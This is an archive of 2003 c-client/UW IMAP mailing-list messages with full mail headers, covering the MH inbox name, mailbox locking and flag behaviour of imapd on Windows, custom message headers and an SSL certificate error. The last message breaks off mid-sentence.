h5GGtO4S011923 for ; Mon, 16 Jun 2003 09:55:24 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5GGtKdN018783 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 16 Jun 2003 09:55:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5GGsUlW014320; Mon, 16 Jun 2003 09:54:30 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5GGo41M022594 for ; Mon, 16 Jun 2003 09:50:04 -0700 Received: from smtp.tiscalinet.ch (smtp.tiscalinet.ch [212.40.5.52]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5GGo0m2015575 for ; Mon, 16 Jun 2003 09:50:01 -0700 Received: from tpo2.sourcepole (adsl-35-83-fixip.tiscali.ch [212.254.35.83]) by smtp.tiscalinet.ch (8.11.7/8.11.7) with ESMTP id h5GGnw715923 for ; Mon, 16 Jun 2003 18:49:59 +0200 Received: from tpo2 (helo=localhost) by tpo2.sourcepole with local-esmtp (Exim 3.36 #1 (Debian)) id 19RxB8-0000uz-00 for ; Mon, 16 Jun 2003 18:49:58 +0200 Message-Id: Date: Mon, 16 Jun 2003 18:49:58 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: c-client@u.washington.edu Subject: #mhinbox vs. INBOX MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: tpo2@tpo2.sourcepole X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=XIIIIIII, Probability=17%, Report="MSG_ID_ADDED_BY_MTA_3, SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01, __USER_AGENT_PINE" Is there any specific reason, c-client calls the mh inbox #mhinbox and not INBOX like all the other INBOXes of all the other formats? It's inconvenient as would force me to do #mhinbox<->INBOX mapping in mailsync if I wanted to do things properly. ? *t -- ----------------------------------------------------------- Tomas Pospisek SourcePole - Linux & Open Source Solutions http://sourcepole.ch Elestastrasse 18, 7310 Bad Ragaz, Switzerland Tel: +41 (81) 330 77 11 ----------------------------------------------------------- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 16 10:35:25 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 16 Jun 2003 10:35:25 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5GHZO4S013687 for ; Mon, 16 Jun 2003 10:35:24 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5GHZLkG020718 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 16 Jun 2003 10:35:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5GHXg66092622; Mon, 16 Jun 2003 10:33:42 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5GHVw1M021556 for ; Mon, 16 Jun 2003 10:31:58 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5GHVuWp022001 for ; Mon, 16 Jun 2003 10:31:57 -0700 Received: from localhost (mrc@localhost) by Ikkoku-Kan.Panda.COM id KAA29999; Mon, 16 Jun 2003 10:31:05 -0700 (PDT) Message-Id: Date: Mon, 16 Jun 2003 10:31:04 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Tomas Pospisek's Mailing Lists" Cc: c-client@u.washington.edu Subject: Re: #mhinbox vs. INBOX In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@Ikkoku-Kan.Panda.COM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 16 Jun 2003, Tomas Pospisek's Mailing Lists wrote: > Is there any specific reason, c-client calls the mh inbox #mhinbox and not > INBOX like all the other INBOXes of all the other formats? Yes, there is a specific reason. Oh? You would like to know the reason? In c-client, MH format is far less functional than other formats. Let's suppose that MH format responds to the INBOX name. Then the following little scenario plays out: If someone experimented with MH years ago, stopped using it, but then failed to remove all vestiges of MH support, a trap is left to spring the moment the user uses any c-client base application. One form of the trap is that the user's mail disappeared in their non c-client application. The other form of the trap is that things (such as sticky flags) mysteriously do not work as advertised and cause substantial difficulties Now lets suppose that that Someone is very high up, that when the trap sprung on that Someone it was a Major Issue; and that when the cause was finally determined, Someone Else got called on the carpet. #mhinbox is not going to change. > It's inconvenient as would force me to do #mhinbox<->INBOX mapping in > mailsync if I wanted to do things properly. That's one approach. The other is not to have any such knowledge in the first place. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Jun 17 13:02:31 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Jun 2003 13:02:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5HK2V4S003744 for ; Tue, 17 Jun 2003 13:02:31 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5HK2RL5003627 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 17 Jun 2003 13:02:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5HJxfDE027596; Tue, 17 Jun 2003 12:59:41 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5HJv71M047812 for ; Tue, 17 Jun 2003 12:57:07 -0700 Received: from emerald.colby.edu (emerald.colby.edu [137.146.210.52]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5HJv5oN029417 for ; Tue, 17 Jun 2003 12:57:05 -0700 Received: from cayuga (cayuga.colby.edu [137.146.209.29]) by emerald.colby.edu (8.12.9/8.12.9/1.29') with ESMTP id h5HJusVR021998 for ; Tue, 17 Jun 2003 15:56:54 -0400 (EDT) Message-Id: Date: Tue, 17 Jun 2003 15:56:54 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jeff A. Earickson" To: c-client@u.washington.edu Subject: "last access" notation for imapd? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: jaearick@cayuga X-MailScanner: ftbc X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=IIIIII, Probability=6%, Report="SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01, __USER_AGENT_PINE" Hi, I would like imapd (2002d) to creat() a zero-byte file in a user's home directory, so I can determine the last time a person has successfully accessed their email via imapd (ie,authenticated). With pine, the .pine-debug* files give me this information, but we use other imapd clients besides pine. Is this feature available in UW imapd? If not, suggestions on where to add code to do this? Thanks. --- Jeff Earickson Colby College -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 17 15:07:47 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Jun 2003 15:07:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5HM7l4S008931 for ; Tue, 17 Jun 2003 15:07:47 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5HM7hL5007988 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 17 Jun 2003 15:07:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5HM5qDE031402; Tue, 17 Jun 2003 15:05:53 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5HM4g1M046984 for ; Tue, 17 Jun 2003 15:04:42 -0700 Received: from instantservers.com (adsl-63-193-225-142.dsl.snfc21.pacbell.net [63.193.225.142]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5HM4eEL030103 for ; Tue, 17 Jun 2003 15:04:40 -0700 Received: from adsl-63-203-64-2.dsl.snfc21.pacbell.net (instantservers.com [63.203.64.2]) by instantservers.com (ISMail v1.5.4) with SMTP; Tue, 17 Jun 2003 15:01:44 -0700 Message-Id: <3EEF8F25.32C683DF@instantservers.com> Date: Tue, 17 Jun 2003 14:59:01 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Carl Stehle To: Mark Crispin Cc: "c-client@u.washington.edu" Subject: Re: Multiple imapd connections and message handling References: <3EE8DE09.62E56541@instantservers.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We were not very clear in describing the IMAP transactions that led up to the problem with message flags we reported. From your comments, related problems that have been reported before, and further testing we found as follows: 1. The situation on non-NT versions of Windows, where flock() is a no-op, should be expected. In this case, the INBOX (Unix format) sharing (locking) protections of imapd do not apply and the email client is given read-write access on both connections. Since INBOX is non-sharable, data integrity is not guaranteed for writes. 2. On NT versions of Windows (where flock() is implemented), the end results are similar but for a different reason. While Connection 1 is open and in IDLE state, Connection 2 is used to 'SELECT INBOX'. The response includes 'PERMANENTFLAGS ()' and several indications of READ-ONLY state, but the client ignores these and sets the flags anyway. Of course, the flags are reset after Connection 2 terminates, (since PERMANENTFLAGS was null) as per IMAP specification. Presumably this does not happen on UNIX as most people (wisely) choose to use mbx format and locking is always implemented, making the INBOX file fully sharable. Hence a READ-ONLY INBOX never exists. In fact, we verified that message flags are treated correctly when moving messages between mbx folders. As for support, it is ironic that when the 'unsupported' software is *used* correctly, the so-called 'supported' software is where the problem lies. -- Carl Stehle From pinedev@shivax2.cac.washington.edu Tue Jun 17 15:23:28 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Jun 2003 15:23:28 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5HMNS4S009492 for ; Tue, 17 Jun 2003 15:23:28 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5HMNLbW029691 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 17 Jun 2003 15:23:22 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5HMK4DE031450; Tue, 17 Jun 2003 15:20:05 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5HMJ01M040282 for ; Tue, 17 Jun 2003 15:19:00 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5HMIsoO018034 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 17 Jun 2003 15:18:54 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5HMInGb002027; Tue, 17 Jun 2003 15:18:49 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5HMIm3i011228 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 17 Jun 2003 15:18:49 -0700 Message-Id: Date: Tue, 17 Jun 2003 15:18:47 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Carl Stehle Cc: "c-client@u.washington.edu" Subject: Re: Multiple imapd connections and message handling In-Reply-To: <3EEF8F25.32C683DF@instantservers.com> References: <3EE8DE09.62E56541@instantservers.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You're running imapd on NT (using something like inetlisn), right? Is there a reason why you aren't running imapd on UNIX? Is there a reason why you choose to use the traditional UNIX mailbox format on NT instead of mbx? mbx is the default in the NT build. > 1. The situation on non-NT versions of Windows, where flock() is a > no-op, should be expected. In this case, the INBOX (Unix format) > sharing (locking) protections of imapd do not apply and the email > client is given read-write access on both connections. Since INBOX > is non-sharable, data integrity is not guaranteed for writes. Why would you be running an IMAP server on a non-NT version of Windows? Win95/98/Me are dead, and the corpse has started to stink. Although I can understand diehards continuing to run it on the desktop, I can't imagine why people would use it as a server (particularly an IMAP server!) > 2. On NT versions of Windows (where flock() is implemented), the > end results are similar but for a different reason. While Connection > 1 is open and in IDLE state, Connection 2 is used to 'SELECT INBOX'. > The response includes 'PERMANENTFLAGS ()' and several indications of > READ-ONLY state, but the client ignores these and sets the flags > anyway. Of course, the flags are reset after Connection 2 terminates, > (since PERMANENTFLAGS was null) as per IMAP specification. Yes, there is no "kiss of death" feature in the traditional UNIX mailbox driver for Windows (both NT and non-NT). The assumption is that anyone using traditional UNIX format on the PC is doing so as a desktop and not as a server > Presumably this does not happen on UNIX as most people (wisely) > choose to use mbx format and locking is always implemented, making > the INBOX file fully sharable. On UNIX, the older session having a traditional UNIX format file is killed. > As for support, it is ironic that when the 'unsupported' software > is *used* correctly, the so-called 'supported' software is where the > problem lies. I don't understand what you mean by this. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Jun 17 17:14:58 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Jun 2003 17:14:58 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5I0Ew4S013425 for ; Tue, 17 Jun 2003 17:14:58 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5I0EnL5012361 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 17 Jun 2003 17:14:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5I0AEDE016006; Tue, 17 Jun 2003 17:10:14 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5I09Y1M039026 for ; Tue, 17 Jun 2003 17:09:34 -0700 Received: from instantservers.com (adsl-63-193-225-142.dsl.snfc21.pacbell.net [63.193.225.142]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5I09WEL005365 for ; Tue, 17 Jun 2003 17:09:32 -0700 Received: from adsl-63-203-64-2.dsl.snfc21.pacbell.net (instantservers.com [63.203.64.2]) by instantservers.com (ISMail v1.5.4) with SMTP; Tue, 17 Jun 2003 17:06:39 -0700 Message-Id: <3EEFAC68.CE41A39F@instantservers.com> Date: Tue, 17 Jun 2003 17:03:52 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Carl Stehle To: Mark Crispin Cc: "c-client@u.washington.edu" Subject: Re: Multiple imapd connections and message handling References: <3EE8DE09.62E56541@instantservers.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > You're running imapd on NT (using something like inetlisn), right? Yes, we are running imapd on NT, and other versions of Windows and have done so from W95 forward. We are using a highly modified version of inetlisn as a front-end. > > Is there a reason why you aren't running imapd on UNIX? Yes, not everyone has UNIX. > > Is there a reason why you choose to use the traditional UNIX mailbox > format on NT instead of mbx? mbx is the default in the NT build. The reason we chose UNIX format is purely due to format simplicity (for SMTP mail delivery). I understand that mbx has better share characteristics and we will likely move to it (or write a DB driver). > > > 1. The situation on non-NT versions of Windows, where flock() is a > > no-op, should be expected. In this case, the INBOX (Unix format) > > sharing (locking) protections of imapd do not apply and the email > > client is given read-write access on both connections. Since INBOX > > is non-sharable, data integrity is not guaranteed for writes. > > Why would you be running an IMAP server on a non-NT version of Windows? > Win95/98/Me are dead, and the corpse has started to stink. Although I can > understand diehards continuing to run it on the desktop, I can't imagine > why people would use it as a server (particularly an IMAP server!) I did not say I recommended this, but imapd does run there (with caveats). > > > 2. On NT versions of Windows (where flock() is implemented), the > > end results are similar but for a different reason. While Connection > > 1 is open and in IDLE state, Connection 2 is used to 'SELECT INBOX'. > > The response includes 'PERMANENTFLAGS ()' and several indications of > > READ-ONLY state, but the client ignores these and sets the flags > > anyway. Of course, the flags are reset after Connection 2 terminates, > > (since PERMANENTFLAGS was null) as per IMAP specification. > > Yes, there is no "kiss of death" feature in the traditional UNIX mailbox > driver for Windows (both NT and non-NT). The assumption is that anyone > using traditional UNIX format on the PC is doing so as a desktop and not > as a server > > > Presumably this does not happen on UNIX as most people (wisely) > > choose to use mbx format and locking is always implemented, making > > the INBOX file fully sharable. > > On UNIX, the older session having a traditional UNIX format file is > killed. Thanks for the clarifications. > > > As for support, it is ironic that when the 'unsupported' software > > is *used* correctly, the so-called 'supported' software is where the > > problem lies. > > I don't understand what you mean by this. I had interpreted your statement that imapd was 'unsupported' as a server on Windows to mean 'it does not work'. And by 'used correctly', I meant used with NT (not Win9x). Given that, and the fact that a somewhat obscure problem like this is not a problem with imapd, but a problem in an extremely popular email client just makes me wonder about why imapd should not be running as a server on NT; it seems to work well enough. -- Carl Stehle From pinedev@shivax2.cac.washington.edu Tue Jun 17 17:34:17 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Jun 2003 17:34:17 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5I0YG4S013869 for ; Tue, 17 Jun 2003 17:34:16 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5I0YDL5012849 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 17 Jun 2003 17:34:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5I0TClW028154; Tue, 17 Jun 2003 17:29:12 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5I0SU1M019994 for ; Tue, 17 Jun 2003 17:28:30 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5I0SSWq016641 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 17 Jun 2003 17:28:28 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5I0SQbr006147; Tue, 17 Jun 2003 17:28:26 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5I0SQ3i018113 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 17 Jun 2003 17:28:26 -0700 Message-Id: Date: Tue, 17 Jun 2003 17:28:25 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Carl Stehle Cc: "c-client@u.washington.edu" Subject: Re: Multiple imapd connections and message handling In-Reply-To: <3EEFAC68.CE41A39F@instantservers.com> References: <3EE8DE09.62E56541@instantservers.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 17 Jun 2003, Carl Stehle wrote: > Yes, we are running imapd on NT, and other versions of Windows and have > done so from W95 forward. We are using a highly modified version of > inetlisn as a front-end. Let's just say that I *am* impressed. > > Is there a reason why you aren't running imapd on UNIX? > Yes, not everyone has UNIX. Of course, that isn't a particular barrier; you can get a bare-bones Linux system from Wal-Mart for $200. > The reason we chose UNIX format is purely due to format simplicity > (for SMTP mail delivery). I understand that mbx has better share > characteristics and we will likely move to it (or write a DB driver). I recommend that you take that step. Besides having read/write sharing, mbx will also perform *much* better. > > On UNIX, the older session having a traditional UNIX format file is > > killed. > Thanks for the clarifications. If you search in the UNIX code for "kiss of death" you'll see how it works. I guess that with some effort, you can figure out how to send a signal from one imapd to the other and accomplish the same behavior as on UNIX. I never thought that anyone would need such a thing. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 19 15:18:30 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Jun 2003 15:18:30 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5JMIUvu007921 for ; Thu, 19 Jun 2003 15:18:30 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5JMIS7n019725 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 19 Jun 2003 15:18:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5JMGU66055932; Thu, 19 Jun 2003 15:16:30 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5JMF01M033084 for ; Thu, 19 Jun 2003 15:15:00 -0700 Received: from morpheus.us.voicerite.com (voicerite.com [64.221.40.13]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5JMEumT016405 for ; Thu, 19 Jun 2003 15:14:56 -0700 Received: from zeus.us.voicerite.com (zeus.us.voicerite.com [192.168.1.7]) by morpheus.us.voicerite.com (8.9.3/8.9.3) with ESMTP id TAA01170 for ; Thu, 19 Jun 2003 19:13:15 -0400 Received: from voicerite.com ([192.168.1.82]) by zeus.us.voicerite.com (Lotus Domino Release 5.0.11) with ESMTP id 2003061918100042:2855 ; Thu, 19 Jun 2003 18:10:00 -0400 Message-Id: <3EF2365C.99293366@voicerite.com> Date: Thu, 19 Jun 2003 18:17:00 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: G Coll To: c-client@u.washington.edu Subject: Sending a message with 'custom' header lines. MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii X-Accept-Language: en X-MIMETrack: Itemize by SMTP Server on zeus/VRUS(Release 5.0.11 |July 24, 2002) at 06/19/2003 06:10:00 PM, Serialize by Router on zeus/VRUS(Release 5.0.11 |July 24, 2002) at 06/19/2003 06:10:00 PM, Serialize complete at 06/19/2003 06:10:00 PM X-PMX-Version: 4.0.1.69331 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there a way to create and send a message with custom headers? (ie: "X-MyHeaderValue: 0") Thank you, -- Gus Coll "Life is short. Learn fast" -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 24 13:11:26 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 24 Jun 2003 13:11:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5OKBQvu013490 for ; Tue, 24 Jun 2003 13:11:26 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5OKBN7n016853 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 24 Jun 2003 13:11:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5OK6B66092532; Tue, 24 Jun 2003 13:06:11 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5OK441M009058 for ; Tue, 24 Jun 2003 13:04:04 -0700 Received: from emerald.colby.edu (emerald.colby.edu [137.146.210.52]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5OK41SD010748 for ; Tue, 24 Jun 2003 13:04:02 -0700 Received: from cayuga (cayuga.colby.edu [137.146.209.29]) by emerald.colby.edu (8.12.9/8.12.9/1.29') with ESMTP id h5OK3sIE002131 for ; Tue, 24 Jun 2003 16:03:54 -0400 (EDT) Message-Id: Date: Tue, 24 Jun 2003 16:03:54 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jeff A. Earickson" To: c-client@u.washington.edu Subject: IMAP: unable to get local issuer certificate MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: jaearick@cayuga X-MailScanner: ftbc X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=IIIIII, Probability=6%, Report="SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01, __USER_AGENT_PINE" Help... The question of "how do I get rid of the 'unable to get local issuer certificate' complaint?" seems to be a popular topic in the FAQ of both imapd and openssl, but danged if I can find an answer to it. Anybody know the incantation? My setup: Solaris 8, imap-2002d, the src/osdep/unix/Makefile is tweaked so it 